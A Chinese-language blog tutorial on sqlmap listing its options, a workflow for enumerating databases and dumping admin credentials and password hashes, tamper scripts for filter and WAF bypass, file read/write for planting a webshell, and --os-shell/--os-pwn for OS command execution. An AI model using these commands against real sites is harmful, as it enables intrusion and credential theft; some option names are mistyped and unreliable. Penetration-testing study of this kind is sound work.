首页 > 数据库 >sqlmap基本学习

sqlmap基本学习

时间:2023-10-02 16:35:33浏览次数:40  
标签:sqlmap 基本 -- 数据库 py 指定 学习 注入

sqlmap基本学习

sqlmap介绍

sqlmap是一个开源的渗透测试工具,它可以自动化检测和利用SQL注入缺陷以及接管数据库服务器的过程。它有一个强大的检测引擎,许多适合于终极渗透测试的小众特性和广泛的开关,从数据库指纹、从数据库获取数据到访问底层文件系统通过带外连接在操作系统上执行命令。

官方网址:http://sqlmap.org/

基础命令使用

options类

sqlmap --version  查看sqlmap版本信息           
sqlmap -g         查看常用的功能参数
sqlmap -hh        查看所有的参数
sqlmap -v         显示更详细的信息,一共7级,从0-6默认为1,数值越大,信息显示越详细
        0:只显示python的回溯,错误和关键信息
        1:显示信息和警告消息
        2:显示调试消息
        3:有效载荷注入
        4:显示HTTP请求
        5:显示HTTP响应头
        6:显示HTTP响应页面的内容
sqlmap -d         直接连接数据库
sqlmap -u         指定url扫描,但url必须存在查询参数,例如: -u "http://127.0.0.1.php?id=1"(查询该网址使用什么数据库)
sqlmap -l         指定logfile文件进行扫描,可以结合burpsuite把访问的记录保存成一个log文件,sqlmap可以直接加载burp保存到log文件进行扫描
sqlmap -x         以xml的形式提交一个站点给sqlmap
sqlmap -m         如果有多个url地址,可以把多个url保存成一个文本文件 -m可以加载文本文件逐个扫描 
sqlmap -r         把http的请求头,body保存成一个文件,统一交给sqlmap,sqlmap会读取内容进行拼接请求体 可以配合burp suite使用
sqlmap -g         利用谷歌搜索引擎搭配正则来过滤你想要的 
sqlmap -p         指定可测试的参数(?page=1&id=2)然后使用-p "page,id"
sqlmap -T         指定表名
sqlmap -s         保存注入过程到一个文件,还可中断,下次恢复在注入 保存-s "xx.log" 恢复:-s "xx.log" -resime
sqlmap -columns   列出字段
sqlmap -current-user获取当前用户名称
sqlmap -current-db获取当前数据库名称(database())
sqlmap -users     列出数据库所有用户
sqlmap -passwords 列出数据库所有密码
sqlmap -privileges查看用户权限
sqlmap -U         指定数据库用户
sqlmap -dbs       列出所有数据库
sqlmap -tables -D 列出指定数据库中的表
sqlmap -is-dba    是否是数据库管理员
sqlmap -roles     枚举数据库用户角色
sqlmap -udf-inject导入用户自定义函数(获取系统权限)
sqlmap -union-check检测是否支持联合注入
sqlmap -union-coks 查询表记录
sqlmap -union-test 语句测试
sqlmap -union-use  采用union注入
sqlmap -union-tech orderby #union配合order by
sqlmap -referer    使用referer欺骗 例子:-referer "http://www.baidu.com"\
sqlmap -proxy      代理注入 例子:-proxy "http://127.0.0.1:8080"#代理注入
sqlmap --proxy-file代理注入使用文件 例子:--proxy-file=XXXX
sqlmap -string     指定关键词
sqlmap -thread     采用多线程(-thread 3)
sqlmap -sql-shell  使用指定sql命令
sqlmap -file-read  读取指定文件
sqlmap -file-write 写入本地文件(-file-write 本地文件 -file-dest 目标路径)可以通过sqlmap写入木马 然后getshell
sqlmap -file-dest  要写入的文件绝对路径
sqlmap -os-cmd=id  执行系统命令
sqlmap -os-shell   系统交互式shell
sqlmap -os-pwn     反弹shell(-os-pwn -msf-path=路径)
sqlmap -msf-path   matesploit绝对路径
sqlmap -reg-read   读取win系统注册表
sqlmap --tamper    指定使用的脚本
sqlmap -C          指定字段

当发现sql注入的时候,根据我们注入的不同,对sqlmap使用的参数也不同

  1. 目的是获取网站后台管理的账号密码

查看当前数据库名字,即当前网站所属数据库名字
列出数据库中的表
觉得哪个表放着账号密码,就爆哪个表
一般密码经过了md5加密处理,需要进行hash碰撞

  1. 目的是获取mysql的管理账号、密码进行远程连接

--users
--passwords

sqlmap  -u  URL    			    检查注入点
sqlmap  -u  URL  --dbs 		    列出数据库中所有数据库的名字
sqlmap  -u  URL  --is-dba  	    当前用户是否是数据库管理员
sqlmap  -u  URL  --current-db	显示当前数据库的名字
 
-D					            指定数据库
--tables			            列出所有表名
sqlmap  -u URL -D "xx"  --tables         列出xx数据库中的所有表
 
-T					            指定一个表
--columns			            列出所有的字段名
sqlmap  -u  URL  -D "xx"  -T  "cc"  --columns     列出表中所有的字段名
 
-C					            指定一个字段名
--dump				            列出字段内容
sqlmap  -u  URL  -D "xx"  -T  "cc"   -C  "x,x,.."  --dump     列出字段内容(-T ,-C之类的要用大写不然有时候会读不出来)
 
sqlmap -r a.txt -p username     倒入txt文档的post数据包,并指定参数username进行注入
 
--dbms mysql                    指定注入的数据类型为mysql数据库
  
--os-shell                      尝试写入shell 
 
sqlmap -u url --batch --smart   自动聪明的选择,即执行的时候不需要我们再手动的进行选择yes或者no(但是由于机器自动进行选择,所以有时候结果会不一样比如没有结果,所以建议少使用)
 
--force-ssl                     测https的时候
 
--cookie "cookie值"             有些网站要登录才行,所以需设置cookie
--threads=10                    开启多线程,默认是单线程为1,最大10。线程越大检测速度越快
--users                         获取mysql数据库管理用户,mysql安装时会默认有一个root用户,除了这个用户可能还会创建有其他用户,这个参数可以将这些用户列出了
--passwords                     获取mysql数据库管理用户的hash值

补充说明

--dbms:指定注入的数据库类型,如Microsoft Access, Microsoft SQL Server, MimerSQL, MonetDB, MySQL, Oracle, Percona, PostgreSQ

-v 3
 如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。

共有七个等级,默认为1:

0    只显示python错误以及严重的信息。
1    同时显示基本信息和警告信息。(默认)
2    同时显示debug信息。
3    同时显示注入的payload。
4    同时显示HTTP请求。
5    同时显示HTTP响应头。
6    同时显示HTTP响应页面。
如果你想看到sqlmap发送的测试payload最好的等级就是-v 3。
--technique=BEUST
有时候我们手工探测出来注入是某种类型,为了节省时间,我们可以直接指定sqlmap注入的类型

BEUST的值可以是"BEUST"中的一种。

B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
sqlmap.py  -r x.txt  -v3  --technique=B    #指定进行布尔盲注

--prefix与 --suffix
--prefix 在payload最前面加上指定的字符
--suffix 在payload最后面加上指定的字符
我们在注入的时候经会碰到需要在payload前加上指定的字符要构造闭合,如下这种情况,我们找到了注入点为' ,但是还得在后面加上 or ' 才行,与原来的sql语句构成闭合
sqlmap.py -r x.txt --prefix "'"  --suffix " or '" -v3

sqlmap自带脚本

命令如下 脚本目录:/usr/share/sqlmap/tamper (kali)

sqlmap -u [url] --tamper [模块名]

可以使用--identify-waf对网站检测是否存在安全防护

常用tamper脚本使用

除去这些sqlmap还提供了很多脚本

apostrophemask.py
        将引号替换成utf-8,用于过滤单引号

base64encode.py
        将原本的内容进行base64编码

multiplespaces.py
        围绕sql关键字添加多个空格
                使用脚本前1 UNION SELECT xxx
                使用脚本后1    UNION  SELECT XXX

space2plus.py
        用+号代替空格

unionalltounion.py
        将union allselect替换成unionselect

securesphere.py
        追加特定的字符串

nonrecursivereplacement.py
        用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空)
                使用脚本前 1 UNION SELECT 2 --
                使用脚本后 1 UUIOUNIONN SELESELECTCT 2 --

space2randomblank.py
        将空格替换为其他有效字符

space2dash.py
        将空格替换成--,并添加一个随机字符串和换行符

space2mssqlblank.py
        将空格随机替换为其他空格符号(%01,%02,%03,%04,%05,%06)

between.py
        用NOT BETWEEN 0 AND #替换>

percentage.py
        在每个字符前添加一个%

charencode.py
        对全部字符进行url编码

randomcase.py
        随机大小写

charunicodeencode.py
        适用字符串的unicode编码

spacetolike.py
        将空格替换为/**/

equaltolike.py       
        将=替换为like   将>替换为GREATEST

modsecurityversioned.py
        使用内联注释方式/**/进入注入

指定多个脚本进行绕过(--tamper)
sqlmap --tamper="space2comment.py,space2plus.py"

Level和risk等级

level:共有五个等级,默认为,在不确定哪个payload或者参数为注入点时,为了保证全面性可以使用高等级的level值

5级包含的注入点最多,包含cookie,xff,referere等头部注入,相对速度比较慢可以是线程thread

​ level 2 #http cookie会测试

​ level 3 #http user-agent/referer头会测试

risk:风险等级,一共有4个,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加IR语句的SQL注入测试

读取文件(--file-read)

sqlmap -u "http://127.0.0.1/?id=1" --file-read "c:/test.txt" #读取目标服务器c盘下的test.txt

执行操作系统命令

<该数据库的secure_file_priv参数值为空(很多数据库的该值为NULL,也就导致了即使当前用户是root,即使知道网站根目录的绝对路径还是不能执行os-shell)>

sqlmap -u "http://192.168.1.1/?id=1" --os-shell

标签:sqlmap,基本,--,数据库,py,指定,学习,注入
From: https://www.cnblogs.com/ZhaoYork/p/17740029.html

相关文章

  • ARM开发板学习
    ARM开发板学习1、蜂鸣器配饰和时间函数开发#include<stdio.h>#include<wiringPi.h>#include<unistd.h>#defineBEEP0//设置针脚0为蜂鸣器的控制引脚intmain(void){wiringPiSetup();//初始化wiringPi库ipinMode(BEEP,OUTPUT);//设置IO口的输入......
  • 【研究生学习】深度学习中几种常用的卷积形式的原理以及其Pytorch调用
    本篇博客主要记录一下在深度学习中几种常用的卷积形式的基本原理、输入输出维度,以及如何在Pytorch中调用这些卷积形式卷积卷积实际上是对图像的不同区域进行特征提取,一般认为输入图像的维度为H×W×C,如下图所示:图像具有颜色通道,一般是RGB,需要理解的是不同通道数的图像和不同的......
  • Linux中xargs命令学习
    转自:https://zhuanlan.zhihu.com/p/340804463?utm_id=0,提到了许多参数,用到时可以参考1.介绍 cat/etc/passwd|greproot   等同于  echo"helloworld"|echo管道命令|,将左侧命令(cat/etc/passwd)的标准输出转换为标准输入,提供给右侧命令(greproot)作为参数。但有些命......
  • python 机器学习 继续训练模型
    您可以使用以下方法反复训练机器学习模型:增量学习:这是一种在现有模型上继续训练的方法。在增量学习中,您可以将新数据集与现有数据集合并,然后使用这些数据重新训练模型。这种方法的优点是可以避免从头开始训练模型,从而节省时间和计算资源。但是,需要注意的是,如果新数据与旧数据有很大......
  • C语言学习记录---数组2
    3.数组越界数组的下标是有范围限制的。数组的下规定是从0开始的,如果数组有n个元素,最后一个元素的下标就是n-1。所以数组的下标如果小于0,或者大于n-1,就是数组越界访问了,超出了数组合法空间的访问。C语言本身是不做数组下标的越界检查,编译器也不一定报错,但是编译器不报错,并不意味......
  • # 2023-2024-1 20231308 《计算机基础与程序设计》第二周学习总结
    2023-2024-120231308《计算机基础与程序设计》第二周学习总结作业信息作业课程2023-2024-1-计算机基础与程序设计作业要求2023-2024-1计算机基础与程序设计第二周作业这个作业的目标学会两本教材第一章的内容,掌握gcc和gdb基本操作作业正文https://www.cnblo......
  • SQLite学习笔记——基本了解
    前言因为MacOS已经安装好了SQLite3,所以笔者就不需要安装。SQLite点命令首先我们要了解的是非常重要的点命令,这些命令的不同之处在于它们不以分号结束。如果需要查看可用的点命令清单,可以在任何时候输入.help来获取。SQLite语法大小写敏感性首先需要注意的是,SQLite不......
  • 【TypeScript学习】—编译选项(三)
    【TypeScript学习】—编译选项(三)一、自动编译文件tscxxx.ts-w二、自动编译整个项目三、编译器选项......
  • 2023-2024 20231313《计算机基础与程序设计》第一周学习总结
    2023-202420231313《计算机基础与程序设计》第一周学习总结目录作业信息学习内容概括学习方法教材中的问题或感悟《计算机科学概论》第一章《全景图》第二章《二进制数值与计数系统》第三章《数据表示法》第四章《门和电路》第五章《计算部件》第六章《低级程序设计语言与伪代......
  • 10 Rules of Good and Bad Studying 学习的10条好与坏规则
    10RulesofGoodStudying良好学习的10条法则Userecall.Afteryoureadapage,lookawayandrecallthemainideas.Highlightverylittle,andneverhighlightanythingyouhaven’tputinyourmindfirstbyrecalling.Tryrecallingmainideaswhenyouare......